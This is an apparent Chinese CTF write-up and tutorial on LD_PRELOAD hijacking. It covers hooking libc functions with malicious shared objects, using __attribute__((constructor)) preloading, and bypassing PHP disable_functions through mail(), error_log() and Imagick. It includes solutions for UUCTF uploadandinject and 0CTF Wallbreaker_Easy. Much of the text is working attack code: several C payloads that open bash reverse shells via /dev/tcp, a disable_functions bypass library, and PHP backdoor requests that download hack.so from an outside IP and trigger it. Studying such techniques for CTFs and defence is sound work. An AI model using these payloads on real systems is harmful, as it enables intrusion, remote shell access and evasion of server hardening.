在前面UUCTF的uploadinject题,遇到了 LD_PRELOAD劫持,之前没遇见过,刚好借此机会学一学。不能小瞧这个变量,它甚至可以弹shell,绕过disable_functions,非常危险。下面来介绍一下这个变量,以及怎么去利用
目录
<1> LD_PRELOAD简介
<2> LD_PRELOAD 简单利用演示
<3> LD_PRELOAD 劫持系统命令并制作后门
<4> 利用 LD_PRELOAD 绕过 Disable_Functions
(1) 利用 mail() 启动新进程来劫持系统函数
strace 用于跟踪系统调用和信号
(2) 利用 error_log() 启动新进程来劫持系统函数
<5> 利用 LD_PRELOAD 劫持系统新进程来绕过(非劫持函数)
(1) _attribute((constructor)) 劫持新进程
(2) 绕过disable_funtions 项目代码
<6> CTF应用
(1) [2022UUCTF] uploadandinject(构造恶意strcpy.so文件,php执行system()函数时劫持)
(2) [0CTF/TCTF]Wallbreaker_Easy
预期解
非预期解
LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file
那,什么是链接呢?
即 编译器找到程序中所引用的函数或全局变量所存在的位置。
- 静态链接:在程序运行之前就把各个目标模块以及需要的库函数 链接成了一个可执行程序,之后不再拆开
- 装入时动态链接:源程序编译后得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接: 源程序编译后得到的目标模块,在程序执行的过程中需要用到时才对他进行连接
简单来说可以分为 动态链接和 静态链接。
两种链接各有优缺:
回到我们前面提到的 LD_PRELOAD, 用于动态链接库的加载的环境变量(linux). 它允许你定义在程序运行之前优先加载的动态链接库,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持
比如:一个恶意文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一样,而LD_PRELOAD路径指向这个恶意文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,那么当我们调用原本函数时,它会自动调用恶意的函数,非常危险。
如果我们利用LD_PRELOAD 劫持了所有的系统命令。那么他都会加载这个恶意的so,最终会产生不可逆的漏洞,比如:反弹shell
利用之前,首先了解一些基本知识:
so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据,即动态链接库
1 .so后缀就是动态链接库的文件名 。
2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 加载so 文件。
3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。
4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD
linux需要安装gcc 没有安装的可以去安装一下(应该是会自带的)
首先写一段生成10个随机数的C语言代码,写入random.c
#include
#include
#include
int main()
{srand(time(NULL)); int i = 10;while(i--) printf("%d\n",rand());return 0;
}
我们编译一下: gcc -o random random.c ./random执行

这是正常生成的十个随机数。
现在我们利用gcc,将自己的rand函数编成动态链接库:
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
生成了unrandom.so文件。将其添加到LD_PRELOAD环境变量中并重新执行 random程序
神奇的事情发现了,输出了我们自己的rand()函数。成功劫持了random程序中的rand()函数,将rand函数替换为我们自己所编写的版本
我们接着用 ldd命令 查看可执行文件加载的动态库优先顺序。
当直接运行random时由于没有加载unrandom.so,因此会使用原本的rand函数,但如果我们指定了LD_PRELOAD=unrandom.so,使用ldd查看所加载的so中有我们自己实现的unrandom.so。由于LD_PRELOAD加载顺序最高,因此会优先使用unrandom.so中的rand函数

即 程序执行时是优先使用了我们的动态链接库,从而实现了函数的劫持
至于那个libc.so.6,即默认的动态链接函数库
Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的
简单总结:
- 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
- 将包含替换函数的源码编译为动态链接库 命令:gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
- 通过命令 export LD_PRELOAD=”库文件路径”,设置要优先替换动态链接库
- 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
- 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
- 想查询依赖关系,可以用ldd命令,例如: ldd random
上面就是我们对 LD_PRELOAD 变量的简单利用的例子,相信大家已经有了自己的一些理解
Linux终端存在着许多的命令,例如:ls,cat,cd 等等,为什么我们输入命令回车会得到数据呢,其实在其背后运行了很多函数,如果我们利用LD_PRELOAD 劫持了这些函数中的其中一个,自定义一个恶意代码覆盖这个函数,引发危险
当我们得知了一个系统命令所调用的库函数 后,我们可以重写指定的库函数进行劫持。这里我们以 ls 命令为例:
如下命令 可以查看系统命令 ls 会调用哪些库函数
readelf -Ws /usr/bin/ls
我们选取其中之一进行重写,这里选择的是 strncmp()

不知道strncmp()函数类型与参数的话,可以通过报错提示,改为合适的
写入strncmp.c
#include
#include
#include void payload() {printf("You success!!!");
}int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}
写入之后,执行命令 gcc -shared -fPIC strncmp.c -o strncmp.so 生成我们的链接库
设置环境变量 export LD_PRELOAD=/tmp/test/strncmp.so 使我们构造的链接库优先加载
然后 执行ls命令

成功显示了 You success!!
那··· 我们是不是可以通过回调bash反弹shell呢?
修改 构造的payload() 里为
system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
#include
#include
#include void payload() {system("bash -c 'bash -i >& /dev/tcp/vps/3005 0>&1'");
}int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}
注:修改的时候先 unset LD_PRELOAD 因为vim也调用了strncmp,使用vim会出现问题
当kali机中执行ls时,就把shell弹到vps上去了。前提是只要它不把ls那个终端进程kill我们就可以对其shell进行操作,若终端被kill了服务器的shell也随即会消失、

虽然弹到了shell。。但是感觉 挺显眼的,因为kali执行ls之后下面就是空的,会被发现
有很多方法可以绕过 disable_functions,其中一种便是利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意的动态链接库文件,从而达到执行系统命令的效果。
基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成以下几个步骤:
虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 PHP 启动外部程序才行,并且只要有进程启动行为即可,无所谓是谁。所以我们要寻找内部可以启动新进程的 PHP 函数。比如处理图片、请求网页、发送邮件等三类场景中可能存在我想要的函数,但是经过验证,发送邮件这一场景能够满足我们的需求,即 mail()
mail.php如下:
执行以下命令,可以查看进程调用的系统函数明细:
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

mail函数是一个发送邮件的函数,当使用它发送邮件时会使用到系统程序/usr/sbin/sendmail,如果能劫持到sendmail 这一系统命令的某个库函数,就可以执行我们的恶意系统命令
查看一下 sendmail系统命令会调用哪些库函数
readelf -Ws /usr/sbin/sendmail
由于 kali 里没有sendmail这个系统命令,这里便直接叙述了 调用的是 getuid()函数
构造getuid.c
#include
#include
#include void payload() {system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
}uid_t getuid() {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}
gcc -shared -fPIC getuid.c -o getuid.so
然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:
mail.php
// 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 getuid.so, 以便后续启动新进程时优先加载该共享对象。
// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 getuid.so 中的同名 getuid() 所劫持。
此时运行 mail.php 便可以成功执行命令并反弹 Shell
error_log 与 mail 函数的原理一样,都会启动一个新的系统进程 /usr/sbin/sendmail:
则其利用方式也一样,都是生成一个恶意系统命令的 getuid.so
然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:
此时运行 error_log.php 便可以成功执行命令并反弹 Shell
回想我们之前的示例,我们之所以劫持 getuid 函数,是因为 sendmail 程序会调用该函数,但是在真实环境中,该利用条件十分苛刻。比如某些环境中,Web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid 了
那还有什其他 更好的利用方法吗?
有的,看其他师傅的博客里,有提到一个更好的办法:
系统通过 LD_PRELOAD 预先加载动态链接库,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了
即:
系统通过LD_PRELOAD预先加载对象,加载时直接进行调用
这种场景与面向对象的语言中的的构造函数相似
通过师傅文章了解到:
GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在动态链接库中,那么一旦动态链接库被系统加载,将立即执行 _attribute((constructor)) 修饰的函数。这样,我们就不用局限于仅劫持某一函数,而应考虑劫持动态链接库了,也可以说是劫持了一个新进程。
写入 hack.c:
#include
#include
#include __attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");printf("You success!!/n");
}
可以看见成功劫持系统命令ls,并且不光劫持了 ls,只要启动了进程便会进行劫持
我们命令行去执行一下 含有mail()函数的mail.php 因为我并没有下载/usr/sbin/sendmail 系统命令,但是由于 此函数执行时也会有/bin/sh 系统进程:

应该会启动新进程,然后被劫持。当我通过 export 改变LD_PRELOAD变量时,是会劫持的。
但是通过mail.php里自己putenv() 却没有劫持,这里有一点不清楚,了解的师傅希望可以解答一下

对于(1) 里的hack.c 这里还有一点:
#include
#include
#include __attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");printf("You success!!/n");
}
unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能
在github上 yangyangwithgnu师傅有一个以此 绕过disable_functions项目代码 上有一个小技巧bypass_disablefunc_via_LD_PRELOAD/bypass_disablefunc.c at master · yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD · GitHub
bypass_disablefunc.c 如下
#define _GNU_SOURCE
#include
#include
#include extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{// get command line options and argconst char* cmdline = getenv("EVIL_CMDLINE");// unset environment variable LD_PRELOAD.// unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick.int i;for (i = 0; environ[i]; ++i) {if (strstr(environ[i], "LD_PRELOAD")) {environ[i][0] = '\0';}}// executive commandsystem(cmdline);
}
使用for循环修改LD_PRELOAD的首个字符改成\0这样可以使系统原有的环境变量自动失效
example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so ";$cmd = $_GET["cmd"];$out_path = $_GET["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo " cmdline: " . $evil_cmdline . "
";putenv("EVIL_CMDLINE=" . $evil_cmdline); // 通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息$so_path = $_GET["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");// error_log("", 1, "", "");echo " output:
" . nl2br(file_get_contents($out_path)) . "
"; unlink($out_path);
?>


index.php.swp 文件泄露 在kali里 vi -r index.php.swp 恢复文件内容得到:
";
loadimg($PATH);
echo "$image_path 参数可控并且 putenv("LD_PRELOAD=/var/www/html/$img_path");
联想到 LD_PRELOAD劫持
肯定存在上传文件的网页, 找到/upload/upload.php 虽然限制了后缀,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以

那我们的 .so文件应该如何构造呢,找一下index.php调用的函数,劫持
用到了我们文章上面的 跟踪系统调用和信号 strace 查看进程调用的系统函数
strace -f php hack.php 2>&1 | grep -A2 -B2 execve
在hack.php里写入:
发现system()函数会启用 /bin/sh 新进程
readelf 命令查看一下 系统命令/bin/sh调用的函数,发现了 strcpy()
readelf -Ws /usr/bin/sh

综上,我们写一个 exp.c
#include
#include
#include void payload() {//反弹shellsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}
执行 gcc -shared -fPIC exp.c -o exp.so
生成exp.so 然后改后缀为.jpg 上传
上传文件所在路径:upload/exp.jpg
回到index.php 加载 upload/exp.jpg 服务器上拿到shell
进入题目: 发现了提供的后门

执行一下phpinfo() 发现 disable_functions禁用了大量的函数,因此这个马=执行不了命令,需要我们绕过 disable_functions

如我们上面介绍的LD_PRELOAD劫持,就是一种绕过 disable_function的手段
也可以利用插件 选择PHP7_GC_UAF模式 插件选择LD_PRELOAD模式不行

但是既然在学LD_PRELOAD 我们就用LD_PRELOAD劫持方法 绕过这道题的disable_function
一个至关重要的条件就是能找到可以启动新进程的函数,就比如我们之前讲的 mail 函数,但是题目中吧 mail 函数也禁用,那怎么办呢?
我们可以看见题目最初给出的文字里提到:
Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server
我们可以尝试利用Imagick。 我们阅读 php-imagick 源码:https://github.com/ImageMagick/ImageMagick 在ImageMagick-master\PerlMagick\Makefile.nt 中发现以下对应关系:

发现当处理 MPEG 类型的文件时,会调用 ffmpeg 程序,就像之前的 mail() 一样,必然会加载动态库函数。属于 MPEG 类型的文件后缀有:
wmv mov m4v m2v mp4 mpg mpeg mkv avi 3g2 3gp
这里我们可以使用 wmv,让 php-imagick 去处理 wmv 后缀的文件并触发新进程去进行劫持
Open basedir为:/tmp/eb65bb46a62df72028f75932e37e642b 只能在open_basedir规定的目录下工作 因此我们后面上传文件上传到这里
编译生成我们构造的恶意的so文件
#define _GNU_SOURCE
#include
#include
#include extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{int i;for (i = 0; environ[i]; ++i) {if (strstr(environ[i], "LD_PRELOAD")) {environ[i][0] = '\0';}}system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'");
}
gcc -shared -fPIC hack.c -o hack.so
将得到的 hack.so 放在服务器上,再在服务器上创建一个名为 a.wmv 的文件,然后使用 PHP 的 copy() 函数将他们依次复制到目标主机上:
backdoor=copy('http://43.143.172.74:3004/hack.so','/tmp/eb65bb46a62df72028f75932e37e642b/hack.so');copy('http://43.143.172.74:3004/a.wmv','/tmp/eb65bb46a62df72028f75932e37e642b/a.wmv');var_dump(scandir("/tmp/eb65bb46a62df72028f75932e37e642b"));
我们再传入执行
backdoor=putenv("LD_PRELOAD=/tmp/eb65bb46a62df72028f75932e37e642b/hack.so");$img = new Imagick('/tmp/eb65bb46a62df72028f75932e37e642b/a.wmv');

由于题目没有没有禁用 error_log() 函数,所以我们可以用 error_log() 函数代替 mail() 函数来触发新进程。 可以直接利用上文里 github上师傅的bypass_disable_function代码
backdoor=copy('http://43.143.172.74:3004/bypass_disablefunc.php','/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.php');copy('http://43.143.172.74:3004/bypass_disablefunc.so','/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.so');var_dump(scandir("/tmp/eb65bb46a62df72028f75932e37e642b"));

GET:?cmd=/readflag&outpath=/tmp/eb65bb46a62df72028f75932e37e642b/out.txt&sopath=/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.so
POST:backdoor=include("/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.php");
得到flag
参考:浅谈LD_PRELOAD劫持_errorr0的博客-CSDN博客_export ld_preload
有趣的 LD_PRELOAD-安全客 - 安全资讯平台